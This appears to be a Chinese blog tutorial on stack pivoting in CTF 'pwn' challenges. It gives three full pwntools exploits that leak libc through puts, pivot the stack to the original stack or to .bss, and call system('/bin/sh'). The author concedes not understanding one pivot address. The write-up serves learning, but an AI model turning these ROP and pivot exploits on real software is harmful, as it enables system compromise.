pwn栈迁移总结

一、栈迁移基础

栈迁移往往在发生栈溢出的函数能够溢出的只有rbp与返回地址时进行,由于不能输入更多数据来构造rop链,一般会把栈迁往两个位置,一是原来的栈,二是bss段。

在了解栈迁移之前需要先了解两个汇编指令,这是进行栈迁移的关键,leave,ret,这两个一般在函数的最后都会出现,可以清空栈中内容。

leave可以理解为mov  rsp,rbp;pop rbp这两个汇编指令的效果综合,但只是效果几乎一样,但并不是真的由它俩组成,第一步就是把rbp的值赋给rsp,也就是在同一位置了;第二步是把栈顶内容给rbp,那么rbp去哪就要看原来rbp里面是什么了。

ret可以理解为pop rip,就是执行一次栈顶内容,也就是把栈顶往下放了一个位置(64位是8位,32位是4位)。

那么首先把栈填满后,rbp改为要迁移的位置,返回地址改为leave,ret的地址,栈迁移需要执行两次leave,ret,第一次是程序跑完执行函数最后的,第二次是执行我们输入的。

第一次leaveret:

图上只是leave,ret之后esp到返回地址,并执行第二次leave,ret。

第二次leave,ret:

图上只是leave,ret之后esp到0x7f2。

那么由三道类型不太相同的栈迁移题来加深理解原理和做法。

二、在原来的栈上进行栈迁移

先看主函数,

第一个read只能输入8字节,但是下面有个格式化字符为%p的printf函数,可以利用printf函数遇00截断的特点泄露出一个栈地址,从而计算出rbp地址。然后进行栈迁移泄露并计算出libc基址构造system("/bin/sh"),再次返回该函数,再用一次栈迁移提权。

首先泄露rbp应该被覆盖的位置,通过gdb调试,看printf带出来的是哪个位置,

红线就是printf带出来的地址,那么我们在该地址上加8就是第二次read输入的位置。然后就可以两次栈迁移分别计算libc基址和构造system("/bin/sh")了。

那么具体内容看exp。

from pwn import*
context.log_level='debug'
elf=ELF('./pwn1')
p=process('./pwn1')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x401333
leave_ret=0x4012aa
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil("your name:")
payload=b'a'*(0x8)
#gdb.attach(p)
#pause()
p.send(payload)
p.recvuntil('you: ')
stack=int(p.recv(14),16)
print(hex(stack))
p.recvuntil('more infomation plz:')
payload=(b'a'*8+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4011fb)).ljust(0x50,b'\x00')
payload+=p64(stack+8)+p64(leave_ret)
#前8个是因为最后的ret会将rsp向下走8位
#第一行就是正常的泄露真实地址覆盖到rbp前,rbp改为数据输入的位置,返回地址改为leave,ret
p.send(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
#gdb.attach(p)
#pause()
p.recvuntil("your name:")
payload=b'a'*(0x8)
p.send(payload)
p.recvuntil('you: ')
stack=int(p.recv(14),16)
print(hex(stack))
p.recvuntil('more infomation plz:')
payload=(b'aaaaaaaa'+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x50,b'\x00')
payload+=p64(stack+8)+p64(leave_ret)

p.send(payload)
p.interactive()

三、栈迁移到bss段

依然是先看主函数

跟进变量s,发现第一个read函数是把数据放在了bss段,

而且没有后门,结合上个题的经验,那么这题就是把栈迁往bss段s的位置,再用ret2libc的方法提权。

那么开始思考流程,第一个read先把泄露函数的rop链构造出来,然后第二个read进行栈迁移,这里需要进行gdb调试分析,分析,rbp,rsp,和read读入位置的变化。exp如下:

from pwn import*
#from LibcSearcher import*
context.log_level='debug'
#p=remote('120.46.59.242',2074)
elf=ELF('./pwn2')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x4012a3
leave_ret=0x40120e
main=0x4011bd
bss=0x406060
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p=process('./pwn2')
p.recvuntil("hello")
payload=p64(0)+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#这里的p64(0)是因为ret而多加的8位
#gdb.attach(p)
#pause()
p.send(payload)
p.recvuntil('say?')
payload=(b'a'*8).ljust(0x60,b'\x00')+p64(bss)+p64(leave_ret)
#gdb.attach(p)
#pause()
p.send(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
p.recvuntil("hello")
payload=b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)
p.send(payload)
p.recvuntil('say?')
payload=(b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x60,b'\x00')
payload+=p64(0x406020)+p64(leave_ret)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

第一次栈迁移完成后,栈顶就在0x406060了,原来认为是与第一题一样在栈上进行的栈迁移,但是gdb调试时,发现栈位置发生变化了,于是最后一次payload根据gdb调试看到的rsp迁往了0x406020。

但是至于什么原理,我觉得是因为bss段,但具体并不清楚。

三、只有一个读入函数的栈迁移

先看ida

读入函数只有一个了,而且无法泄露rbp,那么依然是迁往bss段,于是需要多次利用这个read

函数,那么怎样做到多次利用,并控制它的读入位置呢,看它的汇编代码。

可以看到第一行,这个lae汇编指令就是把rbp加上buf的值赋给了rax,第三行再把rax的值赋给rsi作为read函数读入位置的参数,而buf固定为0x50,所以确定读入位置由rbp决定,那我们可以通过pop rbp来控制rbp更改读入位置。

那就可以第一个payload控制之后读入在bss段,

第二个payload控制之后读入在bss+0x500的位置,因为构造system函数需要足够大的位置。

那第三个payload就可以构造system链了。

下面是完整exp:

from pwn import*
context.log_level='debug'
elf=ELF('./pwn5')
p=process('./pwn5')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret_rdi=0x4012b3
ret_rbp=0x40115d
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss=0x404020+0x200
read=0x4011ff
leave_ret=0x401227
p.recvuntil("just chat with me:")
pay=b'a'*0x50+p64(bss+0x50)+p64(read)
#bss+0x50是buf为-0x50,便于计算
#gdb.attach(p)
#pause()
p.send(pay)
pay=(b'a'*8+p64(ret_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_rbp)+p64(bss+0x500+0x50)+p64(read)).ljust(0x50,b'\x00')
#控制下次读入到bss+0x500的位置
pay+=p64(bss)+p64(leave_ret)
#栈迁移到bss的位置
#gdb.attach(p)
#pause()
p.send(pay)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
payload=(b'a'*8+p64(ret_rdi)+p64(binsh)+p64(ret_rdi+1)+p64(system)).ljust(0x50,b'\x00')
payload+=p64(bss+0x500)+p64(leave_ret)
#栈迁移到bss+0x500的地方,并执行此处的所构造的rop链
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()

以上是学习栈迁移之后的总结。

  • 53
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

江屿..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值